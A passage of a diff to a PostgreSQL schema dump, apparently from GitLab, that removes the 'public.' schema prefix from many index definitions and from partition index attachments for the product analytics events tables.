+CREATE UNIQUE INDEX snippet_user_mentions_on_snippet_id_index ON snippet_user_mentions USING btree (snippet_id) WHERE (note_id IS NULL);
-CREATE INDEX index_zoom_meetings_on_issue_status ON public.zoom_meetings USING btree (issue_status);
+CREATE UNIQUE INDEX taggings_idx ON taggings USING btree (tag_id, taggable_id, taggable_type, context, tagger_id, tagger_type);
-CREATE INDEX index_zoom_meetings_on_project_id ON public.zoom_meetings USING btree (project_id);
+CREATE UNIQUE INDEX term_agreements_unique_index ON term_agreements USING btree (user_id, term_id);
-CREATE INDEX issue_id_issues_prometheus_alert_events_index ON public.issues_prometheus_alert_events USING btree (prometheus_alert_event_id);
+CREATE INDEX terraform_state_versions_verification_checksum_partial ON terraform_state_versions USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
-CREATE INDEX issue_id_issues_self_managed_rometheus_alert_events_index ON public.issues_self_managed_prometheus_alert_events USING btree (self_managed_prometheus_alert_event_id);
+CREATE INDEX terraform_state_versions_verification_failure_partial ON terraform_state_versions USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
-CREATE UNIQUE INDEX issue_id_prometheus_alert_event_id_index ON public.issues_prometheus_alert_events USING btree (issue_id, prometheus_alert_event_id);
+CREATE INDEX terraform_states_verification_checksum_partial ON terraform_states USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
-CREATE UNIQUE INDEX issue_id_self_managed_prometheus_alert_event_id_index ON public.issues_self_managed_prometheus_alert_events USING btree (issue_id, self_managed_prometheus_alert_event_id);
+CREATE INDEX terraform_states_verification_failure_partial ON terraform_states USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
-CREATE UNIQUE INDEX issue_user_mentions_on_issue_id_and_note_id_index ON public.issue_user_mentions USING btree (issue_id, note_id);
+CREATE INDEX tmp_build_stage_position_index ON ci_builds USING btree (stage_id, stage_idx) WHERE (stage_idx IS NOT NULL);
-CREATE UNIQUE INDEX issue_user_mentions_on_issue_id_index ON public.issue_user_mentions USING btree (issue_id) WHERE (note_id IS NULL);
+CREATE INDEX tmp_index_for_email_unconfirmation_migration ON emails USING btree (id) WHERE (confirmed_at IS NOT NULL);
-CREATE UNIQUE INDEX kubernetes_namespaces_cluster_and_namespace ON public.clusters_kubernetes_namespaces USING btree (cluster_id, namespace);
+CREATE INDEX tmp_index_for_fixing_inconsistent_vulnerability_occurrences ON vulnerability_occurrences USING btree (id) WHERE ((length(location_fingerprint) = 40) AND (report_type = 2));
-CREATE INDEX merge_request_mentions_temp_index ON public.merge_requests USING btree (id) WHERE ((description ~~ '%@%'::text) OR ((title)::text ~~ '%@%'::text));
+CREATE UNIQUE INDEX unique_merge_request_metrics_by_merge_request_id ON merge_request_metrics USING btree (merge_request_id);
-CREATE UNIQUE INDEX merge_request_user_mentions_on_mr_id_and_note_id_index ON public.merge_request_user_mentions USING btree (merge_request_id, note_id);
+CREATE UNIQUE INDEX users_security_dashboard_projects_unique_index ON users_security_dashboard_projects USING btree (project_id, user_id);
-CREATE UNIQUE INDEX merge_request_user_mentions_on_mr_id_index ON public.merge_request_user_mentions USING btree (merge_request_id) WHERE (note_id IS NULL);
+CREATE UNIQUE INDEX vulnerability_feedback_unique_idx ON vulnerability_feedback USING btree (project_id, category, feedback_type, project_fingerprint);
-CREATE INDEX note_mentions_temp_index ON public.notes USING btree (id, noteable_type) WHERE (note ~~ '%@%'::text);
+CREATE UNIQUE INDEX vulnerability_occurrence_pipelines_on_unique_keys ON vulnerability_occurrence_pipelines USING btree (occurrence_id, pipeline_id);
-CREATE UNIQUE INDEX one_canonical_wiki_page_slug_per_metadata ON public.wiki_page_slugs USING btree (wiki_page_meta_id) WHERE (canonical = true);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx10;
-CREATE INDEX package_name_index ON public.packages_packages USING btree (name);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx11;
-CREATE INDEX packages_packages_verification_checksum_partial ON public.packages_package_files USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx12;
-CREATE INDEX packages_packages_verification_failure_partial ON public.packages_package_files USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx13;
-CREATE INDEX partial_index_ci_builds_on_scheduled_at_with_scheduled_jobs ON public.ci_builds USING btree (scheduled_at) WHERE ((scheduled_at IS NOT NULL) AND ((type)::text = 'Ci::Build'::text) AND ((status)::text = 'scheduled'::text));
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx14;
-CREATE INDEX partial_index_deployments_for_legacy_successful_deployments ON public.deployments USING btree (id) WHERE ((finished_at IS NULL) AND (status = 2));
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx15;
-CREATE INDEX partial_index_deployments_for_project_id_and_tag ON public.deployments USING btree (project_id) WHERE (tag IS TRUE);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx16;
-CREATE UNIQUE INDEX snippet_user_mentions_on_snippet_id_and_note_id_index ON public.snippet_user_mentions USING btree (snippet_id, note_id);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx17;
-CREATE UNIQUE INDEX snippet_user_mentions_on_snippet_id_index ON public.snippet_user_mentions USING btree (snippet_id) WHERE (note_id IS NULL);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx18;
-CREATE UNIQUE INDEX taggings_idx ON public.taggings USING btree (tag_id, taggable_id, taggable_type, context, tagger_id, tagger_type);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx19;
-CREATE UNIQUE INDEX term_agreements_unique_index ON public.term_agreements USING btree (user_id, term_id);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx20;
-CREATE INDEX terraform_states_verification_checksum_partial ON public.terraform_states USING btree (verification_checksum) WHERE (verification_checksum IS NOT NULL);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx21;
-CREATE INDEX terraform_states_verification_failure_partial ON public.terraform_states USING btree (verification_failure) WHERE (verification_failure IS NOT NULL);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx22;
-CREATE INDEX tmp_build_stage_position_index ON public.ci_builds USING btree (stage_id, stage_idx) WHERE (stage_idx IS NOT NULL);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx23;
-CREATE INDEX tmp_idx_on_user_id_where_bio_is_filled ON public.users USING btree (id) WHERE ((COALESCE(bio, ''::character varying))::text IS DISTINCT FROM ''::text);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx24;
-CREATE INDEX tmp_index_for_email_unconfirmation_migration ON public.emails USING btree (id) WHERE (confirmed_at IS NOT NULL);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx25;
-CREATE UNIQUE INDEX unique_merge_request_metrics_by_merge_request_id ON public.merge_request_metrics USING btree (merge_request_id);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx26;
-CREATE UNIQUE INDEX users_security_dashboard_projects_unique_index ON public.users_security_dashboard_projects USING btree (project_id, user_id);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx27;
-CREATE UNIQUE INDEX vulnerability_feedback_unique_idx ON public.vulnerability_feedback USING btree (project_id, category, feedback_type, project_fingerprint);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx28;
-CREATE UNIQUE INDEX vulnerability_occurrence_pipelines_on_unique_keys ON public.vulnerability_occurrence_pipelines USING btree (occurrence_id, pipeline_id);
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx29;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx10;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx30;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx11;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx31;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx12;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx32;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx13;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx33;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx14;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx34;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx15;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx35;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx16;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx36;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx17;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx37;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx18;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx38;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx19;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx39;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx20;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx40;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx21;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx41;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx22;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx42;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx23;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx43;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx24;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx44;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx25;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx45;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx26;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx46;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx27;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx47;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx28;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx48;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx29;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx49;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx30;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx50;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx31;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx51;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx32;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx52;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx33;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx53;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx34;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx54;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx35;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx55;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx36;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx56;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx37;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx57;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx38;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx58;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx39;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx59;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx40;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx60;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx41;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx61;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx42;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx62;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx43;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx63;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx44;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx1;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx45;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx2;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx46;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx3;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx47;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx4;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx48;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx5;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx49;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx6;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx50;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx7;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx51;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx8;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx52;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx9;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx53;
+ALTER INDEX index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experi_project_id_collector_tstamp_idx;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx54;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_00_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx55;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_01_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx56;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_02_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx57;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_03_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx58;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_04_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx59;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_05_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx60;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_06_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx61;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_07_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx62;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_08_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_expe_project_id_collector_tstamp_idx63;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_09_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx1;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_10_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx2;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_11_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx3;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_12_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx4;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_13_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx5;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_14_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx6;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_15_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx7;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_16_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx8;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_17_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_exper_project_id_collector_tstamp_idx9;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_18_pkey;
-ALTER INDEX public.index_product_analytics_events_experimental_project_and_time ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experi_project_id_collector_tstamp_idx;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_19_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_00_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_20_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_01_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_21_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_02_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_22_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_03_pkey;
+ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_23_pkey;
-ALTER INDEX public.product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_04_pkey;
